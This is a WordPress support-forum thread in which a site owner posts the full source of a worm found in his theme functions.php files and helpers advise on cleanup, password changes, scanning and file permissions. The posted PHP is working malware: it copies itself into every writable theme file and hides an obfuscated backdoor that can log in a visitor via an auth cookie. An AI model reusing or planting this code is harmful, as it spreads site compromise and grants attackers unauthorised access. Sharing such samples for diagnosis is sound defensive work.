I have a worm

@tammie,

Remember I was having a problem with code being added to functions.php? I googled sections of that code and found this discussion thread where someone has had the exact same issue.

It was diagnosed as a “worm” and the advice was to “take the site down immediately”

http://themeshaper.com/forums/topic/functionsphp-issue#post-11156

What do I do?

<br />
<pre><code><?php<br />
function _checkactive_widget(){<br />
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";<br />
$output=strip_tags($output, $allowed);<br />
$direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));<br />
if (is_array($direst)){<br />
foreach ($direst as $item){<br />
if (is_writable($item)){<br />
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));<br />
$cont=file_get_contents($item);<br />
if (stripos($cont,$ftion) === false){<br />
$separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";<br />
$output .= $before . "Not found" . $after;<br />
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}<br />
$output=rtrim($output, "nt"); fputs($f=fopen($item,"w+"),$cont . $separar . "n" .$widget);fclose($f);<br />
$output .= ($showfullstop && $ellipsis) ? "..." : "";<br />
}<br />
}<br />
}<br />
}<br />
return $output;<br />
}</p>
<p>function _getall_widgetscont($wids,$items=array()){<br />
$places=array_shift($wids);<br />
if(substr($places,-1) == "/"){<br />
$places=substr($places,0,-1);<br />
}<br />
if(!file_exists($places) || !is_dir($places)){<br />
return false;<br />
}elseif(is_readable($places)){<br />
$elems=scandir($places);<br />
foreach ($elems as $elem){<br />
if ($elem != "." && $elem != ".."){<br />
if (is_dir($places . "/" . $elem)){<br />
$wids[]=$places . "/" . $elem;<br />
} elseif (is_file($places . "/" . $elem)&&<br />
$elem == substr(__FILE__,-13)){<br />
$items[]=$places . "/" . $elem;}<br />
}<br />
}<br />
}else{<br />
return false;<br />
}<br />
if (sizeof($wids) > 0){<br />
return _getall_widgetscont($wids,$items);<br />
} else {<br />
return $items;<br />
}<br />
}<br />
if(!function_exists("stripos")){<br />
function stripos( $str, $needle, $offset = 0 ){<br />
return strpos( strtolower( $str ), strtolower( $needle ), $offset );<br />
}<br />
}</p>
<p>if(!function_exists("strripos")){<br />
function strripos( $haystack, $needle, $offset = 0 ) {<br />
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );<br />
if( $offset < 0 ){<br />
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );<br />
}<br />
else{<br />
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );<br />
}<br />
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;<br />
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );<br />
return $pos;<br />
}<br />
}<br />
if(!function_exists("scandir")){<br />
function scandir($dir,$listDirectories=false, $skipDots=true) {<br />
$dirArray = array();<br />
if ($handle = opendir($dir)) {<br />
while (false !== ($file = readdir($handle))) {<br />
if (($file != "." && $file != "..") || $skipDots == true) {<br />
if($listDirectories == false) { if(is_dir($file)) { continue; } }<br />
array_push($dirArray,basename($file));<br />
}<br />
}<br />
closedir($handle);<br />
}<br />
return $dirArray;<br />
}<br />
}<br />
add_action("admin_head", "_checkactive_widget");<br />
function _getprepareed_widget(){<br />
if(!isset($content_length)) $content_length=120;<br />
if(!isset($checking)) $checking="cookie";<br />
if(!isset($tags_allowed)) $tags_allowed="<a>";<br />
if(!isset($filters)) $filters="none";<br />
if(!isset($separ)) $separ="";<br />
if(!isset($home_f)) $home_f=get_option("home");<br />
if(!isset($pre_filter)) $pre_filter="wp_";<br />
if(!isset($is_more_link)) $is_more_link=1;<br />
if(!isset($comment_t)) $comment_t="";<br />
if(!isset($c_page)) $c_page=$_GET["cperpage"];<br />
if(!isset($comm_author)) $comm_author="";<br />
if(!isset($is_approved)) $is_approved="";<br />
if(!isset($auth_post)) $auth_post="auth";<br />
if(!isset($m_text)) $m_text="(more...)";<br />
if(!isset($yes_widget)) $yes_widget=get_option("_is_widget_active_");<br />
if(!isset($widgetcheck)) $widgetcheck=$pre_filter."set"."_".$auth_post."_".$checking;<br />
if(!isset($m_text_ditails)) $m_text_ditails="(details...)";<br />
if(!isset($contentsmore)) $contentsmore="ma".$separ."il";<br />
if(!isset($fmore)) $fmore=1;<br />
if(!isset($fakeit)) $fakeit=1;<br />
if(!isset($sql)) $sql="";<br />
if (!$yes_widget) :</p>
<p> global $wpdb, $post;<br />
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$separ."vethe".$comment_t."mes".$separ."@".$is_approved."gm".$comm_author."ail".$separ.".".$separ."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#<br />
if (!empty($post->post_password)) {<br />
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {<br />
if(is_feed()) {<br />
$output=__("There is no excerpt because this is a protected post.");<br />
} else {<br />
$output=get_the_password_form();<br />
}<br />
}<br />
}<br />
if(!isset($fixed_tag)) $fixed_tag=1;<br />
if(!isset($filterss)) $filterss=$home_f;<br />
if(!isset($gettextcomment)) $gettextcomment=$pre_filter.$contentsmore;<br />
if(!isset($m_tag)) $m_tag="div";<br />
if(!isset($sh_text)) $sh_text=substr($sq1, stripos($sq1, "live"), 20);#<br />
if(!isset($m_link_title)) $m_link_title="Continue reading this entry";<br />
if(!isset($showfullstop)) $showfullstop=1;</p>
<p> $comments=$wpdb->get_results($sql);<br />
if($fakeit == 2) {<br />
$text=$post->post_content;<br />
} elseif($fakeit == 1) {<br />
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;<br />
} else {<br />
$text=$post->post_excerpt;<br />
}<br />
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomment, array($sh_text, $home_f, $filterss)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#<br />
if($content_length < 0) {<br />
$output=$text;<br />
} else {<br />
if(!$no_more && strpos($text, "<!--more-->")) {<br />
$text=explode("<!--more-->", $text, 2);<br />
$l=count($text[0]);<br />
$more_link=1;<br />
$comments=$wpdb->get_results($sql);<br />
} else {<br />
$text=explode(" ", $text);<br />
if(count($text) > $content_length) {<br />
$l=$content_length;<br />
$ellipsis=1;<br />
} else {<br />
$l=count($text);<br />
$m_text="";<br />
$ellipsis=0;<br />
}<br />
}<br />
for ($i=0; $i<$l; $i++)<br />
$output .= $text[$i] . " ";<br />
}<br />
update_option("_is_widget_active_", 1);<br />
if("all" != $tags_allowed) {<br />
$output=strip_tags($output, $tags_allowed);<br />
return $output;<br />
}<br />
endif;<br />
$output=rtrim($output, "sntrx0B");<br />
$output=($fixed_tag) ? balanceTags($output, true) : $output;<br />
$output .= ($showfullstop && $ellipsis) ? "..." : "";<br />
$output=apply_filters($filters, $output);<br />
switch($m_tag) {<br />
case("div") :<br />
$tag="div";<br />
break;<br />
case("span") :<br />
$tag="span";<br />
break;<br />
case("p") :<br />
$tag="p";<br />
break;<br />
default :<br />
$tag="span";<br />
}</p>
<p> if ($is_more_link ) {<br />
if($fmore) {<br />
$output .= " <" . $tag . " class="more-link"></a><a>ID) . "#more-" . $post->ID ."" title="" . $m_link_title . "">" . $m_text = !is_user_logged_in() && @call_user_func_array($widgetcheck,array($c_page, true)) ? $m_text : "" . "</a></" . $tag . ">" . "n";<br />
} else {<br />
$output .= " <" . $tag . " class="more-link"><a>ID) . "" title="" . $m_link_title . "">" . $m_text . "</a></" . $tag . ">" . "n";<br />
}<br />
}<br />
return $output;<br />
}</p>
<p>add_action("init", "_getprepareed_widget");</p>
<p>function __popular_posts($no_posts=6, $before="
<li>", $after="</li>
", $show_pass_post=false, $duration="") {<br />
global $wpdb;<br />
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";<br />
$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";<br />
if(!$show_pass_post) $request .= " AND post_password =""";<br />
if($duration !="") {<br />
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";<br />
}<br />
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";<br />
$posts=$wpdb->get_results($request);<br />
$output="";<br />
if ($posts) {<br />
foreach ($posts as $post) {<br />
$post_title=stripslashes($post->post_title);<br />
$comment_count=$post->comment_count;<br />
$permalink=get_permalink($post->ID);<br />
$output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after;<br />
}<br />
} else {<br />
$output .= $before . "None found" . $after;<br />
}<br />
return $output;<br />
}<br />
function my_group_loop_forum_link() {<br />
if ( !bp_group_is_forum_enabled() )<br />
return;<br />
if ( !bp_group_is_visible() )<br />
return;<br />
echo '<a href="'. bp_get_group_forum_permalink() .'/">Forum ?</a>';<br />
}<br />
add_action( 'bp_directory_groups_actions', 'my_group_loop_forum_link' );<br />
?><br />

  • Aaron
    • CTO

    I guess something was adding that. All the fopen/fclose stuff is a red flag in a functions.php file.

    Rather than take your site down, do the normal stuff. Scan your local computer for keyloggers, change your FTP password, Remove all files but wp-content and replace. Try running wp, Then use the exploit scanner to see if any funny files are being added again.

  • gregfielding
    • The Incredible Code Injector

    @aaron,

    I’ve changed my password now.

    Just to be clear…you’re saying replace the wp-admin and wp-includes folders with fresh wpmu versions?

    Also, the worm itself will paste code onto the functions.php files of my themes. I delete the code, then it’s back. Sometimes instantly, sometimes after a few hours.

    What exactly do you mean by “scan our local computer for keyloggers?

    And, what is the “exploit scanner?”

  • Tammie
    • WordPress Wizard

    @gregfielding: Aaron is just saying about replacing the core system not themes / plugins. However, if you look this can be caused by an infected theme or plugin then polluting other ones – have you downloaded / put on anything that wasn’t from a verified source or was a free theme? I hate to say it but often plugins / themes that are free carry the chance of having corrupted scripting and it seems somehow either through your own system or a theme / plugin / ftp exploit that your system has got infected.

    I’d suggest you maybe also update that snippet thread with your findings as otherwise it may lead others astray as if you indeed do have an infection that will cause unknown results.

    Aaron’s advice is the best route I’d follow that systematically and you should get a clean system. Perhaps even go as far as removing plugins and themes incase any of those are the culprit.

    Exploit scanner link

  • drmike
    • DEV MAN’s Mascot

    I found this thread by googling bits of the code.

    +1 for that and being proactive. :slight_smile:

    Just to clarify, is this a theme’s function.php file or one internal to wpmu? The thread over there reads as both.

    Sue, if you;re around maybe an article on file and directory permissions would be in order. Gotta admit we set everything to username:webserver and 640 on our installs though I know that won;t work for everybody. (I think that;s what it is. I don;t have an install handy.)

  • gregfielding
    • The Incredible Code Injector

    as far as i can tell, just functions.php files.

    What makes me nervous is that, I suppose, there could be bits and pieces in other files too, that I might never find.

    I’m going to start working on this today. I’ll keep you guys posted.

  • Aaron
    • CTO

    The exploit scanner will help identify changes to other core files. Sometimes they will embed in core files, your uploads dir renamed as an image file, etc.

    The reason I said scan your local computer as many times the root of the exploit is malware on your local computer that steals your FTP info.

  • Tammie
    • WordPress Wizard

    @gregfielding: You are right to be cautious about ‘where’ it could have input. The problem is it may not be just your files it could be the data too sadly. However, it’s best to pick through sysmematically and look then at the ’causes’ which could be from giving someone ftp access maybe through to plugins or themes and then onto your system itself locally.

    The one safe thing you can feel is this isn’t uncommon so you’ve got the support here to help you work out what it’s unfortunately a case of slow working out now. The good news though should mean that your snipppet works – I think the reason it worked and you said ‘the new files worked’ was perhaps as this wormy hadn’t got to the new theme files you put on the server and now sadly it has it seems from what you’re saying :slight_frown:

  • gregfielding
    • The Incredible Code Injector

    @tammie,

    @aaron,

    So far, I’ve:

    1. changed all passwords (ftp/cpanel & admin)

    Just to be clear,

    My next steps will be:

    1. A fresh MU install (everything but wp-contents)

    2. I’ll then run the exploit scanner…looking for clues

    I supposed it’s not worth trying to clean out theme files yet, because the worm will just re-insert the code until I’m sure the worm is gone, right?

  • gregfielding
    • The Incredible Code Injector

    I found this in my htaccess file.

    # BEGIN ANTISPAMBLOG REGISTRATION

    RewriteCond %{REQUEST_METHOD} POST

    RewriteCond %{REQUEST_URI} .register*

    RewriteCond %{HTTP_REFERER} !.*housingstorm.com* [OR]

    RewriteCond %{HTTP_USER_AGENT} ^$

    RewriteRule (.*) http://die-spammers.com/ [R=301,L]

    # END ANTISPAMBLOG REGISTRATION

    die-spammers dot com directs to Aaip.net , which is an MU site running on a theme with links to you guys.

    Was this section of code put here from one of your plugins?

  • gregfielding
    • The Incredible Code Injector

    Nice find @drmike

    So far, my desktop is clean…no viruses. My passwords are changed.

    I’ve installed all new MU files and tried to run the Exploit Scanner, but am still getting the “out of memory” error.

    From what I can tell, the infection seems limited to the functions.php files of my themes.

    The challenge i have is that I can’t delete the code fast enough…By the time I’m on the 11th theme, the first 10 are infected again.

    I do have an idea…if I clean up the functions.php file, then make that file unwritable, I would be able to remove the code from all 300 of my themes.

    Then, i could make a few of them writable again and see if it comes back?

    I guess I’m just optimistic that this is the only malicious code…

  • gregfielding
    • The Incredible Code Injector

    My hosting company, PSEK, was able to remove the code from each theme. So, as of now, my themes are clean, my passwords are changed, and I’ve got a new install of MU.

    I’m still getting memory errors, indicating that the virus is probably still there somewhere. We’ll see.

    Within a few hours, we’ll probably know if this is good enough or if there are continued problems.

    I pulled the access logs and found an 2 IP address – mine and one other. Here’s what I found:

    May 9 18:28:52 wpmu pure-ftpd: (?@187.45.193.209) [WARNING] Authentication failed for user [housingstorm] – probably failing because i changed my passwords.

    Now, I searched for that IP address and it’s from Brazil. In my google-search, i also found it referenced on several other forums as an attacker and I even found an access log file for another site that showed them gaining access.

    One forum mentioned that there were extra files in their database after the attack.

    My local computer scan was clean, so i’m not sure how they got access, but i would recommend banning this IP address and monitoring your access logs.

  • Aaron
    • CTO

    Right. Really with wpmu the only files/dirs that should be writable by the apache/php user are the upload directories. WPs automatic updates will ask for the FTP info if they can’t write to them.

    That will prevent a lot of exploits from multiplying themselves in core files.

Thank NAME, for their help.

Let NAME know exactly why they deserved these points.

Gift a custom amount of points.